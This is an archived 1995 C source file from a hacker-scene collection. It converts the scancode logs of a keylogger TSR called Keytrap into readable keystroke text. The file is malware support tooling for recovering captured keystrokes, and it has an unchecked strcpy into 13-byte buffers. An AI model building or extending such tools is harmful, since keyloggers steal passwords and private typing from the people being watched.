home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / KEYTRAP3.ZIP / convert3.c next >
C/C++ Source or Header  |  1996-02-19  |  5KB  |  230 lines

  1. //
  2. // Convert v3.0
  3. // Keytrap logfile converter.
  4. // By dcypher <dcypher@mhv.net>
  5. // MSVC++1.52
  6. // Released: 8/8/95
  7. // 
  8. // Scancodes above 185(0xB9) are converted to "<UK>", UnKnown.
  9. //
  10.  
  11. #include <stdio.h>
  12.  
  13. #define MAXKEYS 256
  14. #define WS 128
  15.  
  16. const char *keys[MAXKEYS];
  17.  
  18. void main(int argc,char *argv[])
  19. {     
  20.       FILE *stream1;
  21.       FILE *stream2;
  22.  
  23.      unsigned int Ldata,Nconvert=0,Yconvert=0;
  24.      char logf_name[13],outf_name[13];
  25.       
  26.       //
  27.      // HERE ARE THE KEY ASSIGNMENTS !!
  28.      //
  29.      // You can change them to anything you want. 
  30.      // If any of the key assignments are wrong, please let
  31.      // me know. I havn't checked all of them, but it looks ok.
  32.      //
  33.      //   v--- Scancodes logged by the keytrap TSR
  34.      //          v--- Converted to the string here
  35.                       
  36.      keys[1]  = "<unknown>";                      
  37.      keys[2]  = "1";            
  38.      keys[3]  = "2";         
  39.      keys[4]  = "3";
  40.      keys[5]  = "4";
  41.      keys[6]  = "5";
  42.      keys[7]  = "6";
  43.      keys[8]  = "7";
  44.     keys[9]  = "8";
  45.      keys[10] = "9";
  46.      keys[11] = "0";
  47.      keys[12] = "-";
  48.      keys[13] = "=";
  49.      keys[14] = "<backspace>";
  50.      keys[15] = "<tab>";
  51.      keys[16] = "q";
  52.      keys[17] = "w";
  53.      keys[18] = "e";
  54.      keys[19] = "r";
  55.      keys[20] = "t";
  56.      keys[21] = "y";
  57.      keys[22] = "u";
  58.      keys[23] = "i";
  59.      keys[24] = "o";
  60.     keys[25] = "p";
  61.      keys[26] = "[";
  62.      keys[27] = "]";
  63.      keys[28] = "<return>";     
  64.      keys[29] = "<ctrl>";
  65.      keys[30] = "a";
  66.      keys[31] = "s";     
  67.      keys[32] = "d";
  68.      keys[33] = "f";
  69.      keys[34] = "g";
  70.      keys[35] = "h";
  71.      keys[36] = "j";
  72.      keys[37] = "k";
  73.      keys[38] = "l";
  74.      keys[39] = ";";     
  75.      keys[40] = "'";
  76.      keys[41] = "`";
  77.      keys[42] = "<LEFT SHIFT>"; // left shift - not logged by the tsr
  78.      keys[43] = "\\";           //             and not converted
  79.      keys[44] = "z";
  80.      keys[45] = "x";
  81.      keys[46] = "c";
  82.      keys[47] = "v";
  83.      keys[48] = "b";
  84.      keys[49] = "n";
  85.      keys[50] = "m";
  86.      keys[51] = ",";
  87.      keys[52] = ".";
  88.      keys[53] = "/";
  89.      keys[54] = "<RIGHT SHIFT>"; // right shift - not logged by the tsr
  90.      keys[55] = "*";             //            and not converted
  91.      keys[56] = "<alt>";
  92.      keys[57] = " ";         
  93.      
  94.      // now show with shift key
  95.      // the TSR adds 128 to the scancode to show shift/caps
  96.  
  97.      keys[1+WS]  = "<unknown>";                      
  98.      keys[2+WS]  = "!";            
  99.      keys[3+WS]  = "@";         
  100.      keys[4+WS]  = "#";
  101.      keys[5+WS]  = "$";
  102.      keys[6+WS]  = "%";
  103.      keys[7+WS]  = "^";
  104.      keys[8+WS]  = "&";
  105.     keys[9+WS]  = "*";
  106.      keys[10+WS] = "(";
  107.      keys[11+WS] = ")";
  108.      keys[12+WS] = "_";
  109.      keys[13+WS] = "+";
  110.      keys[14+WS] = "<shift+backspace>";
  111.      keys[15+WS] = "<shift+tab>";
  112.       keys[16+WS] = "Q";
  113.      keys[17+WS] = "W";
  114.      keys[18+WS] = "E";
  115.      keys[19+WS] = "R";
  116.      keys[20+WS] = "T";
  117.      keys[21+WS] = "Y";
  118.      keys[22+WS] = "U";
  119.      keys[23+WS] = "I";
  120.      keys[24+WS] = "O";
  121.     keys[25+WS] = "P";
  122.      keys[26+WS] = "{";
  123.      keys[27+WS] = "}";
  124.      keys[28+WS] = "<shift+return>";
  125.      keys[29+WS] = "<shift+ctrl>";
  126.      keys[30+WS] = "A";
  127.      keys[31+WS] = "S";     
  128.      keys[32+WS] = "D";
  129.      keys[33+WS] = "F";
  130.      keys[34+WS] = "G";
  131.      keys[35+WS] = "H";
  132.      keys[36+WS] = "J";
  133.      keys[37+WS] = "K";
  134.      keys[38+WS] = "L";
  135.      keys[39+WS] = ":";     
  136.      keys[40+WS] = "\"";
  137.      keys[41+WS] = "~";
  138.      keys[42+WS] = "<LEFT SHIFT>"; // left shift - not logged by the tsr
  139.      keys[43+WS] = "|";            //             and not converted
  140.       keys[44+WS] = "Z";
  141.      keys[45+WS] = "X";
  142.      keys[46+WS] = "C";
  143.      keys[47+WS] = "V";
  144.      keys[48+WS] = "B";
  145.      keys[49+WS] = "N";
  146.      keys[50+WS] = "M";
  147.       keys[51+WS] = "<";
  148.      keys[52+WS] = ">";
  149.      keys[53+WS] = "?";
  150.      keys[54+WS] = "<RIGHT SHIFT>"; // right shift - not logged by the tsr
  151.      keys[55+WS] = "<shift+*>";     //            and not converted
  152.      keys[56+WS] = "<shift+alt>";
  153.      keys[57+WS] = " ";
  154.                                         
  155.          printf("\n");
  156.      printf("Convert v3.0\n");
  157.      printf("Keytrap logfile converter.\n");
  158.      printf("By dcypher <dcypher@mhv.net>\n\n");
  159.      printf("Usage: CONVERT logfile outfile\n");
  160.      printf("\n");
  161.      
  162.      if (argc==3)
  163.      {
  164.           strcpy(logf_name,argv[1]);
  165.          strcpy(outf_name,argv[2]);
  166.      }
  167.      
  168.      else
  169.      {
  170.           printf("Enter logfile name: ");
  171.          scanf("%12s",&logf_name);
  172.          printf("Enter outfile name: ");
  173.          scanf("%12s",&outf_name);
  174.          printf("\n");
  175.       }
  176.           
  177.     stream1=fopen(logf_name,"r");
  178.     stream2=fopen(outf_name,"a+");
  179.  
  180.     if (stream1==NULL || stream2==NULL)
  181.     {
  182.         if (stream1==NULL)
  183.             printf("Error opening: %s\n\a",logf_name);
  184.         else
  185.             printf("Error opening: %s\n\a",outf_name);
  186.     }
  187.     
  188.     else
  189.     {
  190.         fseek(stream1,0L,SEEK_SET);    
  191.                                             
  192.         printf("Reading scancode data from: %s\n",logf_name);
  193.         printf("Appending information to..: %s\n",outf_name);
  194.         
  195.         while (feof(stream1)==0)
  196.             {
  197.                 Ldata=fgetc(stream1);    
  198.                 
  199.                 if (Ldata>0
  200.                 && Ldata<186)
  201.                 {    
  202.                     if (Ldata==28 || Ldata==28+WS)
  203.                     {    
  204.                         fputs(keys[Ldata],stream2);
  205.                         fputc(0x0A,stream2);
  206.                         Yconvert++;
  207.                     }    
  208.                     else                    
  209.                         fputs(keys[Ldata],stream2);
  210.                         Yconvert++;
  211.                 }
  212.                 else
  213.                 {     
  214.                     fputs("<UK>",stream2);
  215.                     Nconvert++;
  216.                 }
  217.                     
  218.             }
  219.     }
  220.     
  221.     printf("\n");
  222.     printf("Scancodes converted....: %i\n",Yconvert);
  223.     printf("Scancodes not converted: %i\n",Nconvert);     
  224.     printf("\n");    
  225.     printf("Closeing logfile: %s\n",logf_name);
  226.     printf("Closeing outfile: %s\n",outf_name);
  227.       fclose(stream1);
  228.     fclose(stream2);
  229. }
  230.